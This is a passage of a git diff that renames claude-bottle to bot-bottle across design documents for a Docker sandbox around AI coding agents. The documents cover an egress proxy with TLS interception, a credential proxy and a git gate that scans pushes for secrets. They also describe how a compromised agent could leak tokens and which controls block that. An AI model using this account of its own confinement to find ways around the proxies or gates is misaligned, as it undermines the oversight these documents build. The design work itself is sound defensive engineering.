The abstract base in -`claude_bottle/backend/__init__.py` keeps the same four-method +`bot_bottle/backend/docker/provision/`. The abstract base in +`bot_bottle/backend/__init__.py` keeps the same four-method contract; only the Docker implementation changes shape. ## Problem @@ -56,7 +56,7 @@ The feature works when all of the following are observable: The feature is **done** when all of the following ship: -- A new `claude_bottle/backend/docker/provision/` subpackage exists +- A new `bot_bottle/backend/docker/provision/` subpackage exists with one module per provisioner: `prompt.py`, `skills.py`, `ssh.py`, `git.py`. Each exports a single top-level function taking `(plan: DockerBottlePlan, target: str)` and returning the same type @@ -66,7 +66,7 @@ The feature is **done** when all of the following ship: `provision_ssh` / `provision_git` each become one-line delegations to the new module functions. - The abstract `BottleBackend.provision_*` signatures in - `claude_bottle/backend/__init__.py` are unchanged. The + `bot_bottle/backend/__init__.py` are unchanged. The `BottleBackend.provision` orchestration in the base class is unchanged. - No top-level CLI code or other backend gains a direct import of the @@ -99,7 +99,7 @@ The feature is **done** when all of the following ship: ### In scope -- New `claude_bottle/backend/docker/provision/` subpackage with +- New `bot_bottle/backend/docker/provision/` subpackage with `__init__.py`, `prompt.py`, `skills.py`, `ssh.py`, `git.py`. - Moving the four method bodies out of `DockerBottleBackend` into the new modules verbatim, adjusting only @@ -132,7 +132,7 @@ The feature is **done** when all of the following ship: ### New layout ``` -claude_bottle/backend/docker/ +bot_bottle/backend/docker/ backend.py # DockerBottleBackend (slimmer) bottle.py bottle_plan.py @@ -199,13 +199,13 @@ take the concrete type and skip re-checking. ### Existing code touched -- **`claude_bottle/backend/docker/backend.py`** — four method +- **`bot_bottle/backend/docker/backend.py`** — four method bodies move out; method definitions stay as one-line delegations. Imports for `pipelock_proxy_host_port`, `expand_tilde`, etc., that are only used by the moved bodies migrate with them. -- **`claude_bottle/backend/docker/__init__.py`** — no change. The +- **`bot_bottle/backend/docker/__init__.py`** — no change. The public surface (`DockerBottleBackend`) is unchanged. -- **`claude_bottle/backend/__init__.py`** — no change. +- **`bot_bottle/backend/__init__.py`** — no change. - **`tests/`** — no expected change. Existing tests exercise the backend via `DockerBottleBackend` or the CLI surface; they don't reach into provisioners directly. Verify after the move and only diff --git a/docs/prds/0006-pipelock-tls-interception.md b/docs/prds/0006-pipelock-tls-interception.md index d416252..6b1b17b 100644 --- a/docs/prds/0006-pipelock-tls-interception.md +++ b/docs/prds/0006-pipelock-tls-interception.md @@ -75,7 +75,7 @@ The feature is **done** when all of the following ship: sidecar (read-only) so the running pipelock can read its CA. - `BottleBackend.provision_ca` (new) copies the CA public cert into the agent at - `/usr/local/share/ca-certificates/claude-bottle-mitm.crt`, runs + `/usr/local/share/ca-certificates/bot-bottle-mitm.crt`, runs `update-ca-certificates`, and sets the `NODE_EXTRA_CA_CERTS` / `SSL_CERT_FILE` / `REQUESTS_CA_BUNDLE` env trio on the agent container's runtime env. Default no-op on the abstract base so @@ -122,14 +122,14 @@ The feature is **done** when all of the following ship: ### In scope -- **`claude_bottle/pipelock.py`** changes: +- **`bot_bottle/pipelock.py`** changes: - Extend `pipelock_build_config` to include `tls_interception: { enabled: true, ca_cert: , ca_key: }`. Paths are populated from the plan; the function's signature grows a `cert_path` / `key_path` pair or reads them off `Bottle` once they're stored. - Extend `pipelock_render_yaml` to emit the new block. -- **`claude_bottle/backend/docker/pipelock.py`** changes: +- **`bot_bottle/backend/docker/pipelock.py`** changes: - New helper `pipelock_tls_init(stage_dir)` runs the upstream image as a one-shot: `docker run --rm -v :/h -e PIPELOCK_HOME=/h pipelock tls init`, @@ -143,31 +143,31 @@ The feature is **done** when all of the following ship: config. If pipelock's image runs as non-root, a `docker exec -u 0 chown pipelock:pipelock /etc/pipelock/ca*.pem` lands between the `cp` and the `start`. -- **`claude_bottle/backend/__init__.py`**: new abstract method +- **`bot_bottle/backend/__init__.py`**: new abstract method `provision_ca(plan, target)` on `BottleBackend`, default no-op. `BottleBackend.provision` orchestrates `ca → prompt → skills → ssh → git`. -- **`claude_bottle/backend/docker/provision/ca.py`** (new): +- **`bot_bottle/backend/docker/provision/ca.py`** (new): - Reads the cert from `stage_dir` (already written by prepare). - `docker cp` into the agent. - `docker exec -u 0 ... chmod 644 ...` + `update-ca-certificates`. - Computes the SHA-256 fingerprint with stdlib (`ssl` + `hashlib`), emits one stderr log line. -- **`claude_bottle/backend/docker/launch.py`**: +- **`bot_bottle/backend/docker/launch.py`**: - Three new `-e` flags on the agent's `docker run`: - `NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/claude-bottle-mitm.crt`, + `NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/bot-bottle-mitm.crt`, `SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt`, `REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt`. - `HTTPS_PROXY` / `HTTP_PROXY` continue to point at pipelock (unchanged from PRD 0001 — the mitmproxy detour in PR #8 is abandoned). -- **`claude_bottle/backend/docker/bottle_plan.py`**: +- **`bot_bottle/backend/docker/bottle_plan.py`**: - One new `info(...)` line in `print()` noting TLS interception is on. - `to_dict()` gains an `egress.tls_interception: { enabled: true, ca_fingerprint: null }` block. Reserved for future population. -- **`claude_bottle/backend/docker/prepare.py`**: call +- **`bot_bottle/backend/docker/prepare.py`**: call `pipelock_tls_init(stage_dir)` and write the resolved cert/key paths onto the plan (either on the existing `proxy_plan` field or on the parent `DockerBottlePlan`). @@ -221,7 +221,7 @@ generated at prepare time. the one-shot generation step. The rendered YAML references the in-container paths. - **Bottle install.** `provision_ca` (Docker impl) does - `docker cp /ca.pem agent:/usr/local/share/ca-certificates/claude-bottle-mitm.crt`, + `docker cp /ca.pem agent:/usr/local/share/ca-certificates/bot-bottle-mitm.crt`, then `update-ca-certificates`. The CA env trio is set at `docker run -e` time (Docker propagates run-time env into `docker exec`). @@ -235,7 +235,7 @@ generated at prepare time. `stage_dir`. CA dies with both, in that order, so the sidecar is never reading a deleted mount on shutdown. - **Fingerprint.** Computed via stdlib in `provision_ca` and - logged once to stderr (`claude-bottle: mitm ca fingerprint: + logged once to stderr (`bot-bottle: mitm ca fingerprint: sha256:…`). The private key never appears in any log. ### Data model changes @@ -248,18 +248,18 @@ always null at dry-run because the CA doesn't exist yet. Surgical, all on the existing pipelock path: -- `claude_bottle/pipelock.py` — config builder + YAML renderer. -- `claude_bottle/backend/__init__.py` — abstract `provision_ca`. -- `claude_bottle/backend/docker/pipelock.py` — `tls init` helper, +- `bot_bottle/pipelock.py` — config builder + YAML renderer. +- `bot_bottle/backend/__init__.py` — abstract `provision_ca`. +- `bot_bottle/backend/docker/pipelock.py` — `tls init` helper, sidecar volume mount. -- `claude_bottle/backend/docker/prepare.py` — CA paths on plan. -- `claude_bottle/backend/docker/launch.py` — CA env trio on agent. -- `claude_bottle/backend/docker/backend.py` — `provision_ca` +- `bot_bottle/backend/docker/prepare.py` — CA paths on plan. +- `bot_bottle/backend/docker/launch.py` — CA env trio on agent. +- `bot_bottle/backend/docker/backend.py` — `provision_ca` dispatch + thread `self._proxy` through prepare/launch unchanged shape. -- `claude_bottle/backend/docker/bottle_plan.py` — preflight +- `bot_bottle/backend/docker/bottle_plan.py` — preflight rendering. -- `claude_bottle/backend/docker/provision/ca.py` (new). +- `bot_bottle/backend/docker/provision/ca.py` (new). Net diff is meaningfully smaller than PR #8 because pipelock already does the work — no addon, no second sidecar, no second diff --git a/docs/prds/0007-ssh-egress-gate.md b/docs/prds/0007-ssh-egress-gate.md index f23f428..4e8dc65 100644 --- a/docs/prds/0007-ssh-egress-gate.md +++ b/docs/prds/0007-ssh-egress-gate.md @@ -95,14 +95,14 @@ back to green is the test. Mirror the pipelock layout: -- **`claude_bottle/ssh_gate.py`** (new): abstract `SSHGate` + +- **`bot_bottle/ssh_gate.py`** (new): abstract `SSHGate` + `SSHGatePlan` dataclass. `prepare` is host-side / side-effect-free on docker; renders the forwarder config under `stage_dir`. -- **`claude_bottle/backend/docker/ssh_gate.py`** (new): +- **`bot_bottle/backend/docker/ssh_gate.py`** (new): `DockerSSHGate` concrete subclass — `start` does `docker create` on the internal network, copies the config in, attaches the egress network, `docker start`. `stop` is idempotent `docker rm - -f`. Container name: `claude-bottle-ssh-gate-`. + -f`. Container name: `bot-bottle-ssh-gate-`. Forwarder image: `alpine/socat`, pinned by digest. Must be self-sufficient at boot (no apk/apt pulls on first run) because @@ -126,7 +126,7 @@ rejected at prepare time. One container, N listeners, N upstreams. ### Existing code touched -- **`claude_bottle/backend/docker/provision/ssh.py`**: drop the +- **`bot_bottle/backend/docker/provision/ssh.py`**: drop the `ProxyCommand socat - PROXY:...` plumbing and the `pipelock_proxy_host_port` import. The rendered `~/.ssh/config` block per entry becomes: @@ -140,19 +140,19 @@ rejected at prepare time. One container, N listeners, N upstreams. `known_hosts` entries are keyed off `` and the new `[]:` form so OpenSSH's strict host-key checking still matches. -- **`claude_bottle/pipelock.py`**: delete +- **`bot_bottle/pipelock.py`**: delete `pipelock_bottle_ssh_hostnames`, `pipelock_bottle_ssh_trusted_domains`, `pipelock_bottle_ssh_ip_cidrs`, and the calls into them from `pipelock_effective_allowlist` and `pipelock_build_config`. The effective allowlist becomes baked-defaults ∪ `bottle.egress.allowlist`. -- **`claude_bottle/backend/docker/backend.py`**: instantiate +- **`bot_bottle/backend/docker/backend.py`**: instantiate `DockerSSHGate` alongside `DockerPipelockProxy`; thread its `prepare` / `start` / `stop` through `resolve_plan` / `launch`. -- **`claude_bottle/backend/docker/launch.py`**: add gate start / +- **`bot_bottle/backend/docker/launch.py`**: add gate start / stop to the `ExitStack` in the right order — gate must be up before `provision_ssh` runs so the agent can dial it on first boot. -- **`claude_bottle/backend/docker/bottle_plan.py`**: new +- **`bot_bottle/backend/docker/bottle_plan.py`**: new `SSHGatePlan` field on `DockerBottlePlan`; preflight rendering surfaces the gate sidecar (name, per-entry listen ports, upstream `Hostname:Port` targets). @@ -165,7 +165,7 @@ rejected at prepare time. One container, N listeners, N upstreams. ### Data model changes None. `bottle.ssh` schema is unchanged; one new internal plan -dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`. +dataclass (`SSHGatePlan`) under `bot_bottle/ssh_gate.py`. ### External dependencies @@ -202,7 +202,7 @@ dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`. - PRD 0006: pipelock native TLS interception — the change that surfaced this regression by making pipelock incompatible with SSH-over-CONNECT. -- `claude_bottle/backend/docker/provision/ssh.py` — current SSH +- `bot_bottle/backend/docker/provision/ssh.py` — current SSH provisioning that this PRD rewrites. -- `claude_bottle/pipelock.py` — current pipelock config builder +- `bot_bottle/pipelock.py` — current pipelock config builder that gains the `bottle.ssh`-derived fields this PRD removes. diff --git a/docs/prds/0008-git-gate.md b/docs/prds/0008-git-gate.md index d24e316..9e20adf 100644 --- a/docs/prds/0008-git-gate.md +++ b/docs/prds/0008-git-gate.md @@ -26,7 +26,7 @@ entry and pushes straight at gitea/github with ssh-gate doing dumb L4 forwarding. There is no boundary between "the agent thinks this commit is fine" and "the secret hits an external remote." If a compromised or careless agent stages a `.env`, slips a token into -a fixture, or commits the `CLAUDE_BOTTLE_OAUTH_TOKEN` itself, `git +a fixture, or commits the `BOT_BOTTLE_OAUTH_TOKEN` itself, `git push` ships it. Host-side pre-commit / pre-push hooks are the usual defense, but @@ -131,16 +131,16 @@ for a declared upstream: Mirror the existing sidecar layout: -- **`claude_bottle/git_gate.py`** (new): abstract `GitGate` + +- **`bot_bottle/git_gate.py`** (new): abstract `GitGate` + `GitGatePlan` dataclass. `prepare` is host-side / side-effect- free on docker; renders the per-upstream config and stages the push credentials under `stage_dir`. -- **`claude_bottle/backend/docker/git_gate.py`** (new): +- **`bot_bottle/backend/docker/git_gate.py`** (new): `DockerGitGate` concrete subclass. `start` does `docker create` on the internal network, copies in the bare-repo skeleton, the hook script, and per-upstream credentials, then `docker start`. `stop` is idempotent `docker rm -f`. Container name: - `claude-bottle-git-gate-`. + `bot-bottle-git-gate-`. Gate image: `git-daemon` + `openssh-client` over a `zricethezav/gitleaks` base (alpine + gitleaks), pinned by digest. @@ -173,21 +173,21 @@ operation. ### Existing code touched -- **`claude_bottle/manifest.py`**: parse and validate the new +- **`bot_bottle/manifest.py`**: parse and validate the new `bottle.git` block; reject `bottle.ssh` entries whose upstream is also claimed by a `bottle.git` upstream (one path per remote, no shadow route). -- **`claude_bottle/backend/docker/provision/git.py`** (new) or an +- **`bot_bottle/backend/docker/provision/git.py`** (new) or an extension of the ssh provisioner: render the `insteadOf` config and any extra `~/.gitconfig` plumbing. -- **`claude_bottle/backend/docker/backend.py`**: instantiate +- **`bot_bottle/backend/docker/backend.py`**: instantiate `DockerGitGate` alongside `DockerPipelockProxy` and `DockerSSHGate`; thread its `prepare` / `start` / `stop` through `resolve_plan` / `launch`. -- **`claude_bottle/backend/docker/launch.py`**: add gate start / +- **`bot_bottle/backend/docker/launch.py`**: add gate start / stop to the `ExitStack` so the gate is up before any provisioner that writes the agent's `~/.gitconfig`. -- **`claude_bottle/backend/docker/bottle_plan.py`**: new +- **`bot_bottle/backend/docker/bottle_plan.py`**: new `GitGatePlan` field on `DockerBottlePlan`; preflight rendering surfaces the gate sidecar (name, per-upstream local paths, upstream real URLs, which credential is in use). @@ -249,6 +249,6 @@ exposes it as, and the credential the gate uses to push upstream - PRD 0007: SSH egress gate — the L4 SSH forwarder this PRD sits alongside; explicitly *not* the place to add git-protocol awareness. -- `claude_bottle/ssh_gate.py` / `claude_bottle/pipelock.py` — +- `bot_bottle/ssh_gate.py` / `bot_bottle/pipelock.py` — existing sidecar abstractions to mirror. - gitleaks: diff --git a/docs/prds/0009-remove-ssh-gate.md b/docs/prds/0009-remove-ssh-gate.md index a85052e..8bb98ec 100644 --- a/docs/prds/0009-remove-ssh-gate.md +++ b/docs/prds/0009-remove-ssh-gate.md @@ -8,7 +8,7 @@ Delete the ssh-gate sidecar and the `bottle.ssh` manifest field. Git-gate (PRD 0008) covers every current SSH use case in -claude-bottle: each declared upstream gets a per-bottle gate +bot-bottle: each declared upstream gets a per-bottle gate with gitleaks scanning, an `insteadOf` rewrite that captures push / fetch / clone / pull / ls-remote, and credential isolation from the agent. ssh-gate is now redundant L4 @@ -76,11 +76,11 @@ the unused path. `_validate_no_shadow_route`. Add an explicit branch in `Bottle.from_dict` that dies on a `ssh` key with a one-line "move this to `bottle.git` (see PRD 0008)" hint. -- **Sidecar.** Delete `claude_bottle/ssh_gate.py` and - `claude_bottle/backend/docker/ssh_gate.py`. Drop the socat +- **Sidecar.** Delete `bot_bottle/ssh_gate.py` and + `bot_bottle/backend/docker/ssh_gate.py`. Drop the socat image build path. - **Provisioner.** Delete - `claude_bottle/backend/docker/provision/ssh.py` and its + `bot_bottle/backend/docker/provision/ssh.py` and its `~/.ssh/config` render. - **Docker backend wiring.** Drop `DockerSSHGate` from `backend.py`; drop its start / stop from `launch.py`'s @@ -98,7 +98,7 @@ the unused path. - **README.** Drop the socat / ssh image box from the architecture diagram and its bullet; drop `ssh:` from the manifest example. -- **Example manifest.** Drop `ssh:` from `claude-bottle.example.json`. +- **Example manifest.** Drop `ssh:` from `bot-bottle.example.json`. - **PRD 0007.** Add a `Status: Superseded by PRD 0009` header at the top of the document. Do not delete the file; the history of intent matters for the audit trail. @@ -138,19 +138,19 @@ the seams between ssh-gate and the rest of the system: ### Existing code touched -- `claude_bottle/manifest.py` — delete `SshEntry`, +- `bot_bottle/manifest.py` — delete `SshEntry`, `Bottle.ssh`, `_validate_no_shadow_route`; add the parse-fail branch. -- `claude_bottle/ssh_gate.py` — delete. -- `claude_bottle/backend/docker/ssh_gate.py` — delete. -- `claude_bottle/backend/docker/provision/ssh.py` — delete. -- `claude_bottle/backend/docker/backend.py` — drop +- `bot_bottle/ssh_gate.py` — delete. +- `bot_bottle/backend/docker/ssh_gate.py` — delete. +- `bot_bottle/backend/docker/provision/ssh.py` — delete. +- `bot_bottle/backend/docker/backend.py` — drop `DockerSSHGate` instantiation. -- `claude_bottle/backend/docker/launch.py` — drop the +- `bot_bottle/backend/docker/launch.py` — drop the ssh-gate start / stop from the `ExitStack`. -- `claude_bottle/backend/docker/bottle_plan.py` — drop the +- `bot_bottle/backend/docker/bottle_plan.py` — drop the ssh-gate plan field. -- `claude_bottle/pipelock.py` — drop the `bottle.ssh`-derived +- `bot_bottle/pipelock.py` — drop the `bottle.ssh`-derived branch in the allowlist render. - `tests/unit/test_ssh_gate.py` — delete. - `tests/integration/` — delete any ssh-gate-specific tests. @@ -160,7 +160,7 @@ the seams between ssh-gate and the rest of the system: helper. - `README.md` — drop the socat image box from the diagram and the matching bullet; drop `ssh:` from the manifest example. -- `claude-bottle.example.json` — drop the `ssh` field. +- `bot-bottle.example.json` — drop the `ssh` field. - `docs/prds/0007-ssh-egress-gate.md` — add a `Status: Superseded by PRD 0009` header at the top. @@ -173,7 +173,7 @@ the seams between ssh-gate and the rest of the system: ### External dependencies Nothing added. The `alpine/socat` image is no longer pulled -by claude-bottle; the cleanup of any existing local image is +by bot-bottle; the cleanup of any existing local image is the user's choice (a single `docker image rm` if they care). ## Future work diff --git a/docs/prds/0010-cred-proxy.md b/docs/prds/0010-cred-proxy.md index 7716519..ecc587e 100644 --- a/docs/prds/0010-cred-proxy.md +++ b/docs/prds/0010-cred-proxy.md @@ -51,7 +51,7 @@ already rely on. The research note [`agent-credential-proxy-landscape.md`](../research/agent-credential-proxy-landscape.md) surveys the existing tools and concludes that a small -claude-bottle-specific reverse proxy is less work and less risk +bot-bottle-specific reverse proxy is less work and less risk than either adopting nono (alpha, unaudited) or Infisical Agent Vault (TLS-MITM topology that doubles up on pipelock's CA stack). This PRD is the build. @@ -118,7 +118,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as - **Cross-bottle credential sharing.** One proxy per bottle, same one-sidecar-per-agent posture as pipelock and git-gate. - **`claude --bare` mode.** Reads only `ANTHROPIC_API_KEY`, not - the OAuth token. Not in claude-bottle's flow today. + the OAuth token. Not in bot-bottle's flow today. - **MCP-server tokens, package-installer tokens for languages beyond npm.** PyPI / Bun / cargo can land in a follow-up if needed; the routing pattern generalizes. @@ -175,7 +175,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as side-effect-free; `start` does `docker create` + `docker start` on the bottle's internal network with hostname `cred-proxy`; `stop` is idempotent `docker rm -f`. Container name: - `claude-bottle-cred-proxy-`. The agent container starts + `bot-bottle-cred-proxy-`. The agent container starts after the sidecar is up so DNS resolution succeeds on the agent's first call. - **pipelock interop.** cred-proxy's outbound HTTPS traverses @@ -230,7 +230,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as ``` ┌── Host (macOS) ──────────────────────────────────────────────────┐ │ Secrets at rest (keychain / .env): │ -│ CLAUDE_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │ +│ BOT_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │ │ GITEA_SERVER_TOKEN, NPM_TOKEN │ │ │ docker run -e KEY (no =VALUE on argv) │ │ ▼ │ @@ -288,18 +288,18 @@ Why the agent can't reach the sidecar's environ: ### New components -- **`claude_bottle/cred_proxy.py`** (new): abstract `CredProxy` +- **`bot_bottle/cred_proxy.py`** (new): abstract `CredProxy` + `CredProxyPlan` dataclass. `prepare` is host-side and side-effect-free; renders the route table and resolves `TokenRef`s against host env. Mirrors the existing `GitGate` / `Pipelock` shape. -- **`claude_bottle/backend/docker/cred_proxy.py`** (new): +- **`bot_bottle/backend/docker/cred_proxy.py`** (new): `DockerCredProxy` concrete subclass. `start` does `docker create` on the bottle's internal network with hostname `cred-proxy`, copies the route-table file into the container, then `docker start`. `stop` is idempotent `docker rm -f`. - Container name: `claude-bottle-cred-proxy-`. -- **`claude_bottle/backend/docker/provision/cred_proxy.py`** + Container name: `bot-bottle-cred-proxy-`. +- **`bot_bottle/backend/docker/provision/cred_proxy.py`** (new): renders `ANTHROPIC_BASE_URL`, `~/.npmrc`, `~/.gitconfig` `insteadOf` blocks, and `~/.config/tea/config.yml` into the agent's home for each declared kind — all pointing at @@ -310,12 +310,12 @@ Why the agent can't reach the sidecar's environ: ### Existing code touched -- **`claude_bottle/manifest.py`** — add `CredProxyRoute`, +- **`bot_bottle/manifest.py`** — add `CredProxyRoute`, `CredProxyConfig`, `Bottle.cred_proxy: CredProxyConfig`. Parse + validate route shape, role enum, path uniqueness, singleton- role constraints. -- **`claude_bottle/backend/docker/prepare.py`** — drop the - legacy `CLAUDE_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN` +- **`bot_bottle/backend/docker/prepare.py`** — drop the + legacy `BOT_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN` forward entirely. cred-proxy is the only path the Anthropic OAuth token reaches the bottle. When a route claims the `anthropic-base-url` role, write `ANTHROPIC_BASE_URL` @@ -324,27 +324,27 @@ Why the agent can't reach the sidecar's environ: otherwise; the proxy strips & replaces on every request). Bottles that need claude-code to authenticate must declare the route; there is no fallback. -- **`claude_bottle/backend/docker/backend.py`** — instantiate +- **`bot_bottle/backend/docker/backend.py`** — instantiate `DockerCredProxy` alongside `DockerPipelockProxy` and `DockerGitGate`; thread its `prepare` / `start` / `stop` through `resolve_plan` / `launch`. -- **`claude_bottle/backend/docker/launch.py`** — add cred-proxy +- **`bot_bottle/backend/docker/launch.py`** — add cred-proxy start/stop to the `ExitStack` after pipelock and before the agent; populate `pipelock_proxy_url` + `pipelock_ca_host_path` on the cred-proxy plan so its outbound HTTPS routes through pipelock. -- **`claude_bottle/backend/docker/bottle_plan.py`** — new +- **`bot_bottle/backend/docker/bottle_plan.py`** — new `cred_proxy_plan` field; preflight shows route count + token refs + a path→upstream line per route; `to_dict` emits a `cred_proxy` array of `{path, upstream, auth_scheme, token_ref, roles}`. -- **`claude_bottle/pipelock.py`** — `pipelock_token_hosts` derives +- **`bot_bottle/pipelock.py`** — `pipelock_token_hosts` derives from each route's `UpstreamHost` (not a hardcoded Kind→hosts map). Allowlist auto-includes them; passthrough does not (the proxy trusts pipelock's CA so MITM works). - **`README.md`** — architecture diagram includes the cred-proxy lane; manifest section documents `bottle.cred_proxy.routes`. -- **`claude-bottle.example.json`** — one bottle demonstrates the +- **`bot-bottle.example.json`** — one bottle demonstrates the four common routes (Anthropic, GitHub, Gitea, npm). - **Tests** — manifest parsing/validation, route lift + token-env slot assignment, role-based dispatch in the provisioner, diff --git a/docs/prds/0011-per-file-md-manifest.md b/docs/prds/0011-per-file-md-manifest.md index 813ac0c..b6494e7 100644 --- a/docs/prds/0011-per-file-md-manifest.md +++ b/docs/prds/0011-per-file-md-manifest.md @@ -6,11 +6,11 @@ ## Summary -Replace the single-file `claude-bottle.json` manifest with a +Replace the single-file `bot-bottle.json` manifest with a per-file Markdown-with-YAML-frontmatter layout. Bottles live as -`$HOME/.claude-bottle/bottles/.md`; agents live as -`$HOME/.claude-bottle/agents/.md` (home-resident) and -`$CWD/.claude-bottle/agents/.md` (repo-supplied). Each file +`$HOME/.bot-bottle/bottles/.md`; agents live as +`$HOME/.bot-bottle/agents/.md` (home-resident) and +`$CWD/.bot-bottle/agents/.md` (repo-supplied). Each file carries its structured config in YAML frontmatter and (for agents) its system prompt in the Markdown body. @@ -28,7 +28,7 @@ PyYAML dependency. The project's "low deps by default" stance ## Problem -`claude-bottle.json` works fine at one bottle and one agent. The +`bot-bottle.json` works fine at one bottle and one agent. The project is heading for many of both, and the single-JSON shape starts to fray: @@ -60,22 +60,22 @@ axes (grouping × format) and lands on this design. Each test runs against a temporary `$HOME` and a temporary `$CWD`: -1. **A bottle file under `$HOME/.claude-bottle/bottles/` +1. **A bottle file under `$HOME/.bot-bottle/bottles/` parses.** A `dev.md` file with YAML frontmatter declaring `cred_proxy.routes`, `git`, `env`, `egress` produces a Bottle dataclass equivalent to the current JSON shape. -2. **An agent file under `$HOME/.claude-bottle/agents/` parses.** +2. **An agent file under `$HOME/.bot-bottle/agents/` parses.** `implementer.md` with frontmatter that names `bottle:`, `skills:`, and other fields, with the body as the system prompt, produces an Agent dataclass. -3. **An agent file under `$CWD/.claude-bottle/agents/` parses +3. **An agent file under `$CWD/.bot-bottle/agents/` parses and overrides home-resident agents of the same name.** The cwd agent's frontmatter and body win; the home bottle it references stays intact. -4. **A bottle file under `$CWD/.claude-bottle/bottles/` is +4. **A bottle file under `$CWD/.bot-bottle/bottles/` is ignored.** The directory does not contribute to the manifest; if a user accidentally creates one, the launcher emits a `warn`-level log naming the offending files and @@ -83,7 +83,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: is a usability nicety, not a security gate. 5. **No third-party Python dependencies introduced.** A fresh - clone with only stdlib + claude-bottle's own code runs every + clone with only stdlib + bot-bottle's own code runs every parser test. Frontmatter parsing is hand-rolled against the declared YAML subset. @@ -97,30 +97,30 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: `name`, `description`, `model`, `color`, and `memory` fields from Claude Code's existing subagent spec are accepted in our frontmatter alongside our own fields. Copying an agent - file from `$HOME/.claude-bottle/agents/` to + file from `$HOME/.bot-bottle/agents/` to `~/.claude/agents/` produces a working Claude Code subagent (subject to Claude Code's tolerance for the extra `bottle:` - and `claude_bottle:` fields — see Open Questions). + and `bot_bottle:` fields — see Open Questions). ## Non-goals - **A general YAML implementation.** The parser handles the - subset claude-bottle's frontmatter actually uses; documents + subset bot-bottle's frontmatter actually uses; documents that exceed the subset (anchors, multi-line block scalars, tags, implicit type coercion, flow style, etc.) die with a pointer at the spec. We are not building a YAML library. - **Compatibility with the old JSON layout at runtime.** The - resolver no longer reads `claude-bottle.json` files. This is + resolver no longer reads `bot-bottle.json` files. This is a breaking change; existing users hand-rewrite their JSON - into the new per-file layout (claude-bottle has a single + into the new per-file layout (bot-bottle has a single primary user today, so the migration is one person rewriting one file). Documented as part of the README rewrite. - **`$HOME/.claude/agents/` integration on the input side.** We don't read agent files out of Claude Code's directory. Our files can be copied into Claude Code's tree by the user if - they want, but the input path for claude-bottle is its own + they want, but the input path for bot-bottle is its own directory. - **A signed-manifest scheme.** Out of scope per the @@ -139,14 +139,14 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: ### In scope - **Directory layout.** - - `$HOME/.claude-bottle/bottles/.md` — bottle + - `$HOME/.bot-bottle/bottles/.md` — bottle definitions (full schema; one Bottle per file). - - `$HOME/.claude-bottle/agents/.md` — home-resident + - `$HOME/.bot-bottle/agents/.md` — home-resident agents. - - `$CWD/.claude-bottle/agents/.md` — cwd-resident + - `$CWD/.bot-bottle/agents/.md` — cwd-resident agents; same schema as home agents, but bottle names must resolve against the home set. - - `$CWD/.claude-bottle/bottles/` — ignored with a warn-level + - `$CWD/.bot-bottle/bottles/` — ignored with a warn-level log (see SC #4). Does not contribute to the manifest. - `` is the file basename without `.md`. Filenames must match `[a-z][a-z0-9-]*` (kebab-case, ASCII-only). @@ -162,7 +162,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: - `skills: [, ...]` (optional) — host-side skills under `~/.claude/skills/`. - `name`, `description`, `model`, `color`, `memory` — accepted - but treated as Claude Code passthrough; claude-bottle + but treated as Claude Code passthrough; bot-bottle ignores them at launch but doesn't reject. Lets the same file double as a Claude Code subagent. - Unknown top-level keys die with a hint listing accepted @@ -191,17 +191,17 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: the required-keys check — same diagnostic as malformed). - **Manifest assembly.** New resolver: - 1. Walk `$HOME/.claude-bottle/bottles/*.md` → Bottle dict + 1. Walk `$HOME/.bot-bottle/bottles/*.md` → Bottle dict keyed by filename. - 2. Walk `$HOME/.claude-bottle/agents/*.md` → Agent dict. - 3. Walk `$CWD/.claude-bottle/agents/*.md` → Agent dict; merge + 2. Walk `$HOME/.bot-bottle/agents/*.md` → Agent dict. + 3. Walk `$CWD/.bot-bottle/agents/*.md` → Agent dict; merge into the home agent dict, cwd wins on name collision. 4. Validate every agent's `bottle:` against the bottle dict. - 5. Warn if `$CWD/.claude-bottle/bottles/` exists with files. + 5. Warn if `$CWD/.bot-bottle/bottles/` exists with files. 6. Return Manifest dataclass — same shape as today. - **Docs.** README's manifest section rewrites against the new - layout. `claude-bottle.example.json` becomes + layout. `bot-bottle.example.json` becomes `examples/bottles/dev.md` + `examples/agents/implementer.md`. The PRD 0010 example block in its own document gets a follow-up commit noting the new layout (out of scope for @@ -233,7 +233,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`: ### File layout ``` -$HOME/.claude-bottle/ +$HOME/.bot-bottle/ ├── bottles/ │ ├── dev.md │ ├── gitea-dev.md @@ -243,7 +243,7 @@ $HOME/.claude-bottle/ ├── researcher.md └── ... -$CWD/.claude-bottle/ +$CWD/.bot-bottle/ └── agents/ └── .md ``` @@ -261,7 +261,7 @@ cred_proxy: - path: /anthropic/ upstream: https://api.anthropic.com auth_scheme: Bearer - token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN + token_ref: BOT_BOTTLE_OAUTH_TOKEN role: anthropic-base-url - path: /gitea/dideric/ upstream: https://gitea.dideric.is @@ -271,8 +271,8 @@ cred_proxy: git: remotes: gitea.dideric.is: - Name: claude-bottle - Upstream: ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git + Name: bot-bottle + Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git IdentityFile: ~/.ssh/gitea-delos-2.pem ExtraHosts: gitea.dideric.is: 100.78.141.42 @@ -302,7 +302,7 @@ skills: --- You are a feature-implementation agent running inside an -ephemeral claude-bottle sandbox... +ephemeral bot-bottle sandbox... ``` Drop the same file into `~/.claude/agents/implementer.md` and @@ -336,7 +336,7 @@ Notable rejections (each dies with a specific error): be ambiguous, quote it. - Flow style mappings nested more than one 